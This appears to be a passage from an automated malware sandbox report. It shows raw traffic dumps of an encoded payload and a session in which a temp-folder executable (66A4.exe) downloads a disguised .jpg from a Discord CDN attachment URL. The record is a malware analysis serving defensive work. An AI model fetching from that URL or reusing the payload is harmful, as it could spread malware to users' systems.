20 58 44 20 4f 20 57 4a 20 4f 20 71 71 58 20 Data Ascii: O WD O mX O DM O DW O DW O mE O Wq O XW O Ep O qOW O WD O qOJ O qqq O WD O mE O qOD O mE O mE O mM O qqX O Em O qqM O qOp O qOp O DW O XD O XM O qqX O qqW O qOp O mp O Xm O WJ O XW O XM O qqD O EO O DM O Ep O XO O WJ O DW O qOX O EX O XE O XD O WJ O qqX
2021-10-29 18:10:39 UTC	759	IN	Data Raw: 20 4f 20 44 44 20 4f 20 58 71 20 4f 20 57 6d 20 4f 20 44 57 20 4f 20 45 45 20 4f 20 71 71 58 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 4d 4f 20 4f 20 58 45 20 4f 20 58 4d 20 4f 20 45 58 20 4f 20 57 45 20 4f 20 44 45 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 4f 71 20 4f 20 71 4f 4f 20 4f 20 44 57 20 4f 20 45 44 20 4f 20 57 71 20 4f 20 57 4f 20 4f 20 45 45 20 4f 20 71 71 4f 20 4f 20 44 58 20 4f 20 58 44 20 4f 20 58 4d 20 4f 20 71 71 58 20 4f 20 71 71 57 20 4f 20 58 57 20 4f 20 58 4d 20 4f 20 45 58 20 4f 20 71 4f 58 20 4f 20 6d 45 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 58 6d 20 4f 20 58 44 20 4f 20 71 4f 58 20 4f 20 71 4f 71 20 4f 20 45 44 20 4f 20 71 4f 4a 20 4f 20 58 71 20 4f 20 71 4f 57 20 4f 20 45 44 20 4f 20 44 44 20 4f 20 57 4a 20 4f 20 71 Data Ascii: O DD O Xq O Wm O DW O EE O qqX O DW O DW O DD O MO O XE O XM O EX O WE O DE O DW O DD O qOq O qOO O DW O ED O Wq O WO O EE O qqO O DX O XD O XM O qqX O qqW O XW O XM O EX O qOX O mE O DW O DD O Xm O XD O qOX O qOq O ED O qOJ O Xq O qOW O ED O DD O WJ O q
2021-10-29 18:10:39 UTC	775	IN	Data Raw: 71 71 57 20 4f 20 45 4f 20 4f 20 57 6d 20 4f 20 44 4d 20 4f 20 57 44 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 57 70 20 4f 20 45 4a 20 4f 20 4d 58 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f 20 58 71 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 6d 4d 20 4f 20 44 45 20 4f 20 44 58 20 4f 20 71 4f 45 20 4f 20 71 4f 4f 20 4f 20 71 71 58 20 4f 20 44 57 20 4f 20 45 4f 20 4f 20 44 44 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 58 4a 20 4f 20 57 70 20 4f 20 4d 45 20 4f 20 44 44 20 4f 20 71 4f 70 20 4f 20 44 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 45 58 20 4f 20 71 4f 6d 20 4f 20 71 4f 71 20 4f 20 71 4f 44 20 4f 20 57 57 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 57 45 20 4f 20 58 6d 20 4f 20 58 57 20 4f 20 45 70 20 4f 20 71 4f 4d 20 4f 20 Data Ascii: qqW O EO O Wm O DM O WD O DM O DW O DW O DW O Wp O EJ O MX O qOp O DD O Xq O Xq O DD O mM O DE O DX O qOE O qOO O qqX O DW O EO O DD O DW O EJ O XJ O Wp O ME O DD O qOp O DE O DW O DW O DE O EX O qOm O qOq O qOD O WW O mE O mE O WE O Xm O XW O Ep O qOM O
2021-10-29 18:10:39 UTC	791	IN	Data Raw: 4f 70 20 4f 20 44 4d 20 4f 20 71 4f 57 20 4f 20 58 57 20 4f 20 71 4f 70 20 4f 20 45 70 20 4f 20 71 4f 57 20 4f 20 58 57 20 4f 20 71 4f 70 20 4f 20 45 45 20 4f 20 71 4f 57 20 4f 20 58 57 20 4f 20 71 4f 70 20 4f 20 58 71 20 4f 20 71 4f 57 20 4f 20 58 57 20 4f 20 71 4f 70 20 4f 20 58 57 20 4f 20 71 71 4d 20 4f 20 57 4a 20 4f 20 71 71 57 20 4f 20 45 4a 20 4f 20 71 4f 6d 20 4f 20 4d 4d 20 4f 20 44 44 20 4f 20 6d 58 20 4f 20 44 45 20 4f 20 71 4f 58 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 45 4f 20 4f 20 4d 4d 20 4f 20 71 4a 4a 20 4f 20 44 57 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 44 58 20 4f 20 45 6d 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 58 45 20 4f 20 71 4f 44 20 4f 20 58 58 20 4f 20 4d 4d 20 4f 20 71 71 71 20 4f 20 57 6d 20 4f 20 45 4d 20 4f Data Ascii: Op O DM O qOW O XW O qOp O Ep O qOW O XW O qOp O EE O qOW O XW O qOp O Xq O qOW O XW O qOp O XW O qqM O WJ O qqW O EJ O qOm O MM O DD O mX O DE O qOX O DX O mE O EO O MM O qJJ O DW O Xq O DW O DE O DX O Em O qqM O DD O XE O qOD O XX O MM O qqq O Wm O EM O
2021-10-29 18:10:39 UTC	807	IN	Data Raw: 57 20 4f 20 58 45 20 4f 20 58 4d 20 4f 20 6d 4d 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 6d 20 4f 20 58 71 20 4f 20 6d 45 20 4f 20 57 71 20 4f 20 58 71 20 4f 20 71 4f 45 20 4f 20 44 4d 20 4f 20 45 71 20 4f 20 71 71 71 20 4f 20 44 44 20 4f 20 4d 45 20 4f 20 71 4f 70 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 71 4f 4f 20 4f 20 44 45 20 4f 20 58 71 20 4f 20 58 4d 20 4f 20 6d 45 20 4f 20 57 71 20 4f 20 58 71 20 4f 20 71 4f 45 20 4f 20 45 71 20 4f 20 58 4f 20 4f 20 57 44 20 4f 20 58 44 20 4f 20 44 58 20 4f 20 45 45 20 4f 20 44 44 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 45 20 4f 20 45 58 20 4f 20 58 44 20 4f 20 71 4f 57 20 4f 20 6d 70 20 4f 20 71 4a 4f 20 4f 20 58 4a 20 4f 20 58 44 20 4f 20 71 4f 4d 20 4f 20 71 4f 70 20 4f 20 71 4f 4a 20 4f 20 44 Data Ascii: W O XE O XM O mM O DM O DW O DW O Em O Xq O mE O Wq O Xq O qOE O DM O Eq O qqq O DD O ME O qOp O DX O mE O qOO O DE O Xq O XM O mE O Wq O Xq O qOE O Eq O XO O WD O XD O DX O EE O DD O DW O DW O EE O EX O XD O qOW O mp O qJO O XJ O XD O qOM O qOp O qOJ O D
2021-10-29 18:10:39 UTC	823	IN	Data Raw: 71 4f 4a 20 4f 20 71 71 4d 20 4f 20 71 4f 70 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 58 57 20 4f 20 58 44 20 4f 20 45 58 20 4f 20 58 44 20 4f 20 58 44 20 4f 20 71 4f 58 20 4f 20 71 4f 71 20 4f 20 45 44 20 4f 20 6d 70 20 4f 20 58 4d 20 4f 20 71 71 44 20 4f 20 45 4a 20 4f 20 44 4d 20 4f 20 45 70 20 4f 20 57 4f 20 4f 20 58 4f 20 4f 20 71 4f 71 20 4f 20 44 57 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 4d 20 4f 20 71 4f 57 20 4f 20 4d 58 20 4f 20 71 4f 6d 20 4f 20 71 4f 4a 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 4f 57 20 4f 20 57 44 20 4f 20 6d 45 20 4f 20 71 71 71 20 4f 20 45 44 20 4f 20 57 4a 20 4f 20 58 58 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 57 4f 20 4f 20 71 71 4a 20 4f 20 71 4f 58 20 4f 20 6d 45 20 4f 20 57 71 20 4f 20 4d 4d 20 4f 20 Data Ascii: qOJ O qqM O qOp O qOp O DW O XW O XD O EX O XD O XD O qOX O qOq O ED O mp O XM O qqD O EJ O DM O Ep O WO O XO O qOq O DW O EE O DW O DW O EM O qOW O MX O qOm O qOJ O mE O mE O qOW O WD O mE O qqq O ED O WJ O XX O mE O mE O WO O qqJ O qOX O mE O Wq O MM O
2021-10-29 18:10:39 UTC	839	IN	Data Raw: 6d 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 6d 4d 20 4f 20 45 4f 20 4f 20 71 4a 71 20 4f 20 45 4f 20 4f 20 44 45 20 4f 20 45 58 20 4f 20 71 71 44 20 4f 20 71 4a 4f 20 4f 20 71 4f 70 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 58 6d 20 4f 20 57 6d 20 4f 20 45 4f 20 4f 20 58 4f 20 4f 20 6d 70 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 57 45 20 4f 20 71 71 71 20 4f 20 58 44 20 4f 20 45 58 20 4f 20 6d 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 6d 4d 20 4f 20 45 4f 20 4f 20 71 4a 71 20 4f 20 45 4f 20 4f 20 44 45 20 4f 20 45 58 20 4f 20 71 71 44 20 4f 20 71 4a 4f 20 4f 20 71 4f 70 20 4f 20 45 71 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 58 6d 20 4f 20 57 6d 20 4f 20 44 58 20 4f 20 57 57 20 4f 20 6d Data Ascii: mM O DW O DW O Ep O mM O EO O qJq O EO O DE O EX O qqD O qJO O qOp O DM O DW O DW O DD O Xm O Wm O EO O XO O mp O mE O mE O WE O qqq O XD O EX O mM O DW O DW O Ep O mM O EO O qJq O EO O DE O EX O qqD O qJO O qOp O Eq O DW O DW O DD O Xm O Wm O DX O WW O m
2021-10-29 18:10:39 UTC	855	IN	Data Raw: 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 4f 20 4f 20 45 44 20 4f 20 71 4f 44 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 45 57 20 4f 20 57 4a 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 71 20 4f 20 71 71 45 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 44 20 4f 20 71 4f 44 20 4f 20 71 4f 44 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 58 20 4f 20 44 57 20 4f 20 57 4a 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 4a 4a 20 4f 20 71 71 45 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 71 4a 4a 20 4f 20 71 4f 44 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 58 20 4f 20 58 4d 20 4f 20 57 4a 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 58 20 4f 20 71 71 45 20 4f 20 45 45 20 4f Data Ascii: E O DW O DW O EO O ED O qOD O DW O DW O DD O EW O WJ O qqM O DW O DW O Xq O qqE O EE O DW O DW O ED O qOD O qOD O DW O DW O DX O DW O WJ O qqM O DW O DW O qJJ O qqE O EE O DW O DW O Eq O qJJ O qOD O DW O DW O DX O XM O WJ O qqM O DW O DW O EX O qqE O EE O
2021-10-29 18:10:39 UTC	863	IN	Data Raw: 20 58 71 20 4f 20 44 44 20 4f 20 45 58 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 4d 4d 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 71 71 6d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 44 58 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 57 44 20 4f 20 44 57 20 4f 20 4d 58 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 71 4f 4f 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 57 4f 20 4f 20 44 57 20 4f 20 44 58 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 6d 58 20 4f 20 44 57 20 4f 20 44 58 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 44 57 20 4f Data Ascii: Xq O DD O EX O DW O Eq O DM O DW O MM O qqM O DD O qqm O DW O DW O DW O DW O DW O DW O DD O DX O DW O Eq O WD O DW O MX O Xq O DD O qqM O DW O Eq O DM O DW O qOO O DW O DW O WO O DW O DX O Xq O DW O EE O DW O DW O mX O DW O DX O qOp O DW O EE O DW O DW O
2021-10-29 18:10:39 UTC	879	IN	Data Raw: 4f 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 58 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 4d 45 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 6d 58 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 58 57 20 4f 20 44 57 20 4f 20 4d 58 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 6d 70 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 6d 58 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 4f 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 4f 58 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 58 4f 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 71 4f 58 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 58 4f 20 4f 20 44 57 20 4f 20 Data Ascii: O O qOp O DW O DW O DW O DX O qqM O DW O ME O Xq O DD O mX O DW O Eq O XW O DW O MX O Xq O DW O mp O DW O DW O mX O DW O DE O qOp O DW O DW O DW O DW O DW O DW O XO O DW O DW O qOX O DW O EJ O EE O DW O XO O qOp O DW O qOX O DW O EJ O EE O DW O XO O DW O
2021-10-29 18:10:39 UTC	895	IN	Data Raw: 4f 20 4d 4f 20 4f 20 58 44 20 4f 20 4d 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 4d 20 4f 20 71 4f 4f 20 4f 20 71 4f 58 20 4f 20 71 4f 4f 20 4f 20 45 4f 20 4f 20 44 44 20 4f 20 71 4a 71 20 4f 20 4d 58 20 4f 20 57 4f 20 4f 20 45 58 20 4f 20 71 4f 58 20 4f 20 4d 4d 20 4f 20 57 71 20 4f 20 45 58 20 4f 20 58 57 20 4f 20 4d 45 20 4f 20 58 45 20 4f 20 6d 4d 20 4f 20 71 4f 58 20 4f 20 4d 4d 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 57 71 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 71 4f 45 20 4f 20 44 57 20 4f 20 4d 58 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f 20 71 4a 4a 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 58 4d 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 71 71 45 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 4d 58 Data Ascii: O MO O XD O MM O DW O DW O DM O qOO O qOX O qOO O EO O DD O qJq O MX O WO O EX O qOX O MM O Wq O EX O XW O ME O XE O mM O qOX O MM O qqM O DD O Wq O DW O Eq O qOE O DW O MX O qOp O DD O qJJ O DW O EJ O Xq O DW O XM O Xq O DW O qqE O DW O Eq O Xq O DW O MX
2021-10-29 18:10:39 UTC	911	IN	Data Raw: 20 71 4f 4a 20 4f 20 71 4f 4f 20 4f 20 57 4f 20 4f 20 45 58 20 4f 20 71 4a 4a 20 4f 20 4d 45 20 4f 20 58 45 20 4f 20 45 58 20 4f 20 71 71 44 20 4f 20 4d 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 6d 4d 20 4f 20 71 71 4d 20 4f 20 45 6d 20 4f 20 71 71 44 20 4f 20 58 4d 20 4f 20 58 45 20 4f 20 71 4a 4f 20 4f 20 71 71 57 20 4f 20 4d 58 20 4f 20 57 4f 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 58 20 4f 20 71 4f 70 20 4f 20 44 58 20 4f 20 71 4f 4f 20 4f 20 57 4f 20 4f 20 45 58 20 4f 20 71 4a 4a 20 4f 20 71 4f 4f 20 4f 20 45 71 20 4f 20 57 45 20 4f 20 6d 4d 20 4f 20 4d 58 20 4f 20 44 57 20 4f 20 44 58 20 4f 20 4d 4d 20 4f 20 44 57 20 4f 20 71 4f 4d 20 4f 20 6d 4d 20 4f 20 71 4f 58 20 4f 20 4d 58 20 4f 20 58 45 20 4f 20 45 58 20 4f 20 Data Ascii: qOJ O qOO O WO O EX O qJJ O ME O XE O EX O qqD O MM O DW O DW O DW O mM O qqM O Em O qqD O XM O XE O qJO O qqW O MX O WO O EE O DW O DW O DX O qOp O DX O qOO O WO O EX O qJJ O qOO O Eq O WE O mM O MX O DW O DX O MM O DW O qOM O mM O qOX O MX O XE O EX O
2021-10-29 18:10:39 UTC	927	IN	Data Raw: 4f 20 44 44 20 4f 20 58 6d 20 4f 20 58 45 20 4f 20 45 4f 20 4f 20 71 71 4d 20 4f 20 58 44 20 4f 20 57 4f 20 4f 20 71 4f 58 20 4f 20 71 71 45 20 4f 20 4d 4f 20 4f 20 45 71 20 4f 20 57 45 20 4f 20 57 71 20 4f 20 58 57 20 4f 20 45 71 20 4f 20 57 45 20 4f 20 71 71 4a 20 4f 20 4d 58 20 4f 20 71 71 4f 20 4f 20 58 4a 20 4f 20 71 4a 4a 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 58 4a 20 4f 20 57 4f 20 4f 20 58 44 20 4f 20 6d 58 20 4f 20 58 4a 20 4f 20 44 4d 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 45 57 20 4f 20 71 4f 70 20 4f 20 45 6d 20 4f 20 58 70 20 4f 20 4d 4f 20 4f 20 58 45 20 4f 20 71 4a 4f 20 4f 20 71 4f 58 20 4f 20 58 4d 20 4f 20 58 58 20 4f 20 45 58 20 4f 20 71 4f 58 20 4f 20 58 4a 20 4f 20 44 4d 20 4f 20 45 45 20 4f 20 44 57 Data Ascii: O DD O Xm O XE O EO O qqM O XD O WO O qOX O qqE O MO O Eq O WE O Wq O XW O Eq O WE O qqJ O MX O qqO O XJ O qJJ O DW O DW O qqM O DD O XJ O WO O XD O mX O XJ O DM O EE O DW O EW O qOp O Em O Xp O MO O XE O qJO O qOX O XM O XX O EX O qOX O XJ O DM O EE O DW
2021-10-29 18:10:39 UTC	943	IN	Data Raw: 4f 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 44 57 20 4f 20 45 57 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 58 20 4f 20 71 4f 70 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 71 71 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 57 20 4f 20 44 57 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 71 4f 70 20 4f 20 44 45 20 4f 20 6d 58 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 71 71 20 4f 20 44 44 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 44 57 20 4f 20 45 44 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 44 4d 20 Data Ascii: OE O DW O DW O DW O DW O qOp O DD O DW O DE O DW O EW O qOp O DW O DW O DW O DX O qOp O DM O DW O Ep O DW O qqW O DW O DW O DW O DW O XW O DW O Xq O DW O qOp O DE O mX O DW O DW O DW O DD O qqq O DD O DW O DE O DW O ED O qqM O DW O DW O DW O Ep O DW O DM
2021-10-29 18:10:39 UTC	959	IN	Data Raw: 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 57 4a 20 4f 20 4d 58 20 4f 20 58 4a 20 4f 20 57 4a 20 4f 20 57 70 20 4f 20 71 4f 57 20 4f 20 57 45 20 4f 20 44 57 20 4f 20 57 70 20 4f 20 71 4f 57 20 4f 20 57 45 20 4f 20 44 57 20 Data Ascii: DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O WJ O MX O XJ O WJ O Wp O qOW O WE O DW O Wp O qOW O WE O DW
2021-10-29 18:10:39 UTC	975	IN	Data Raw: 20 57 44 20 4f 20 44 57 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 57 44 20 4f 20 44 57 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 57 44 20 4f 20 44 57 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 57 44 20 4f 20 44 57 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 57 44 20 4f 20 44 57 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 57 44 20 4f 20 44 57 20 4f 20 57 57 20 4f 20 45 71 20 4f 20 58 57 20 4f 20 71 4f 70 20 4f 20 71 4f 70 20 4f 20 45 70 20 4f 20 44 45 20 4f 20 44 57 20 4f 20 57 57 20 4f 20 4d 4d 20 4f 20 58 70 20 4f 20 45 6d 20 4f 20 57 4a 20 4f 20 71 4f 4d 20 4f 20 71 71 71 20 4f 20 57 70 20 4f 20 57 4a 20 4f 20 71 4f 4d 20 4f 20 71 71 71 20 4f 20 57 70 20 4f 20 57 4a 20 4f 20 71 4f 4d 20 4f 20 71 71 71 20 4f 20 57 70 20 4f 20 71 4f 70 20 4f 20 45 70 20 4f 20 44 45 20 4f 20 Data Ascii: WD O DW O mE O mE O WD O DW O mE O mE O WD O DW O mE O mE O WD O DW O mE O mE O WD O DW O mE O mE O WD O DW O WW O Eq O XW O qOp O qOp O Ep O DE O DW O WW O MM O Xp O Em O WJ O qOM O qqq O Wp O WJ O qOM O qqq O Wp O WJ O qOM O qqq O Wp O qOp O Ep O DE O
2021-10-29 18:10:39 UTC	991	IN	Data Raw: 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 57 45 20 4f 20 45 45 20 4f 20 71 4a 71 20 4f 20 71 71 44 20 4f 20 57 4a 20 4f 20 57 57 20 4f 20 71 4a 71 20 4f 20 71 4f 58 20 4f 20 57 4a 20 4f 20 57 57 20 4f 20 71 4a 71 20 4f 20 71 4f 58 20 4f 20 57 4a 20 4f 20 57 57 20 4f 20 71 4a 71 20 4f 20 71 4f 58 20 4f 20 57 4a 20 4f 20 57 57 20 4f 20 71 4a 71 20 4f 20 71 4f 58 20 4f Data Ascii: DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O WE O EE O qJq O qqD O WJ O WW O qJq O qOX O WJ O WW O qJq O qOX O WJ O WW O qJq O qOX O WJ O WW O qJq O qOX O

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.5	49805	162.159.130.233	443	C:\Users\user\AppData\Local\Temp\66A4.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-29 18:10:39 UTC	1000	OUT	GET /attachments/893177342426509335/903575519373697084/F83CB811.jpg HTTP/1.1 Host: cdn.discordapp.com
2021-10-29 18:10:39 UTC	1001	IN	HTTP/1.1 200 OK Date: Fri, 29 Oct 2021 18:10:39 GMT Content-Type: image/jpeg Content-Length: 257637 Connection: close CF-Ray: 6a5e5ca668936993-FRA Accept-Ranges: bytes Age: 31399 Cache-Control: public, max-age=31536000 ETag: "3943342e1b45e890a729310467090869" Expires: Sat, 29 Oct 2022 18:10:39 GMT Last-Modified: Fri, 29 Oct 2021 09:26:31 GMT Vary: Accept-Encoding CF-Cache-Status: HIT Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Cf-Bgj: h2pri Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" x-goog-generation: 1635499591484284 x-goog-hash: crc32c=wAW+lg== x-goog-hash: md5=OUM0LhtF6JCnKTEEZwkIaQ== x-goog-metageneration: 1 x-goog-storage-class: STANDARD x-goog-stored-content-encoding: identity x-goog-stored-content-length: 257637 X-GUploader-UploadID: ADPycdsh_0GH4h67GfM4DXv45AAKX5J9KadQOaoJgeenVA8XggFohgRrUig2qws-RHRUWddueA29G7svcIC2IfMWyq3dEjwegQ X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=W0xzWLAqrPeHaYaY3W1VVRK03xcaTsmWIKoB6MzimTEZq6D4QDX7cgpUDhxBDo9cprGZAJsrF8YBUdR7whdI%2BTzdI8xsUDQ%2BZTDKfCyRwznO4TCgHdvOnXdfplyWC%2FOdAGzKGg%3D%3D"}],"group":"cf-nel","max_age":604800}
2021-10-29 18:10:39 UTC	1002	IN	Data Raw: 4e 45 4c 3a 20 7b 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2c 22 72 65 70 6f 72 74 5f 74 6f 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 0d 0a Data Ascii: NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflare
2021-10-29 18:10:39 UTC	1002	IN	Data Raw: 4f 20 71 71 4d 20 4f 20 6d 45 20 4f 20 57 45 20 4f 20 58 58 20 4f 20 71 4f 71 20 4f 20 57 44 20 4f 20 58 4f 20 4f 20 6d 45 20 4f 20 58 44 20 4f 20 57 71 20 4f 20 71 71 58 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 6d 4d 20 4f 20 71 4f 4f 20 4f 20 57 57 20 4f 20 71 71 4d 20 4f 20 6d 45 20 4f 20 57 45 20 4f 20 58 58 20 4f 20 71 4f 71 20 4f 20 57 44 20 4f 20 58 4f 20 4f 20 6d 45 20 4f 20 58 44 20 4f 20 57 71 20 4f 20 71 71 58 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 6d 4d 20 4f 20 71 4f 4f 20 4f 20 57 57 20 4f 20 71 71 4d 20 4f 20 6d 45 20 4f 20 57 45 20 4f 20 58 58 20 4f 20 71 4f 71 20 4f 20 57 44 20 4f 20 58 4f 20 4f 20 6d 45 20 4f 20 58 44 20 4f 20 57 71 20 4f 20 71 71 58 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 6d 4d 20 4f 20 71 4f 4f 20 4f 20 57 57 20 4f 20 71 Data Ascii: O qqM O mE O WE O XX O qOq O WD O XO O mE O XD O Wq O qqX O DX O mE O mM O qOO O WW O qqM O mE O WE O XX O qOq O WD O XO O mE O XD O Wq O qqX O DX O mE O mM O qOO O WW O qqM O mE O WE O XX O qOq O WD O XO O mE O XD O Wq O qqX O DX O mE O mM O qOO O WW O q
